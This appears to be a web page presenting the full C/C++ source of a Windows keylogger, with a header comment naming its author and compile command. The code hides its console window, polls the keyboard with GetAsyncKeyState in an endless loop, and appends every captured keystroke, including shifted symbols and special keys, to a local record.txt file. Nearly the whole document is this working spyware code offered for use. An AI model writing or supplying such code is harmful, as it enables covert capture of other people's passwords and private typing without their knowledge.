KEYLOGGER

/*######################################################################################
# Dev: cnd.dev
# Program Name: keylogger
# Version: 1.0.0
#  - Major.Minor.Update/BuildNumber
# Date: 201528OCT25
# Filename: keylogger.c
# Dependency: N/A
# Compile Cmd: g++ -m64 -O1 keylogger.c -o keylogger-v1.0.0-win-x86-64
# Synopsis:
#  - Overview: describes what the program does, how it works, and its key components
#  - Technical: ...
######################################################################################*/


#include <windows.h>
#include <winuser.h>
#include <fstream>
using namespace std;

void hideWindow() {
	HWND hidden;
	AllocConsole();
	hidden = FindWindowA("ConsoleWindowClass", NULL);
	ShowWindow(hidden, 0);
}

void logging() {
	char key;

	while (true) {
		//Read US Keyboard ASCII Characters - currently set up to take uppercase NOT lowercase
		for (key = 8; key <= 127; key++) {
			// if key is pressed (from up to down)
			if (GetAsyncKeyState(key) == -32767) {
				//ios::app opens the file in append mode
				ofstream write("record.txt", ios::app);

				//if shift key (left or right) is pressed AND uppercase A-Z is pressed, then capture the lowercase equivalent
				if ((key >= 65 && key <= 90) && !(GetAsyncKeyState(0x10))) {
					key += 32;   // change upper to lowercase
					write << key;
					write.close();
					break;
				}

				//if no shift key is pressed, then capture uppercase
				else if (key >= 65 && key <= 90) {
					write << key;
					write.close();
					break;
				}

				//
				else {
					switch (key) {
						case 48: {
							if (GetAsyncKeyState(0x10))
								write << ")";
							else
								write << "0";
							break;
						}
						case 49: {
							if (GetAsyncKeyState(0x10))
								write << "!";
							else
								write << "1";
							break;
						}
						case 50: {
							if (GetAsyncKeyState(0x10))
								write << "@";
							else
								write << "2";
							break;
						}
						case 51: {
							if (GetAsyncKeyState(0x10))
								write << "#";
							else
								write << "3";
							break;
						}
						case 52: {
							if (GetAsyncKeyState(0x10))
								write << "$";
							else
								write << "4";
							break;
						}
						case 53: {
							if (GetAsyncKeyState(0x10))
								write << "%";
							else
								write << "5";
							break;
						}
						case 54: {
							if (GetAsyncKeyState(0x10))
								write << "^";
							else
								write << "6";
							break;
						}
						case 55: {
							if (GetAsyncKeyState(0x10))
								write << "&";
							else
								write << "7";
							break;
						}
						case 56: {
							if (GetAsyncKeyState(0x10))
								write << "*";
							else
								write << "8";
							break;
						}
						case 57: {
							if (GetAsyncKeyState(0x10))
								write << "(";
							else
								write << "9";
							break;
						}

						//VIRTUAL KEYS NAMED CONSTANTS IN WINDOWS API (windows.h/winuser.h)
						case VK_SPACE: {
							write << " ";
							break;
						}
						case VK_RETURN: {
							write << "\n";
							break;
						}
						case VK_TAB: {
							write << "	";
							break;
						}
						case VK_BACK: {
							write << "[BACKSPACE]";
							break;
						}
						case VK_ESCAPE: {
							write << "[ESC]";
							break;
						}
						case VK_DELETE: {
							write << "[DELETE]";
							break;
						}
					}
				}
			}
		}
	}
}

int main()
{
	hideWindow();
	logging();
	return 0;
}

Last updated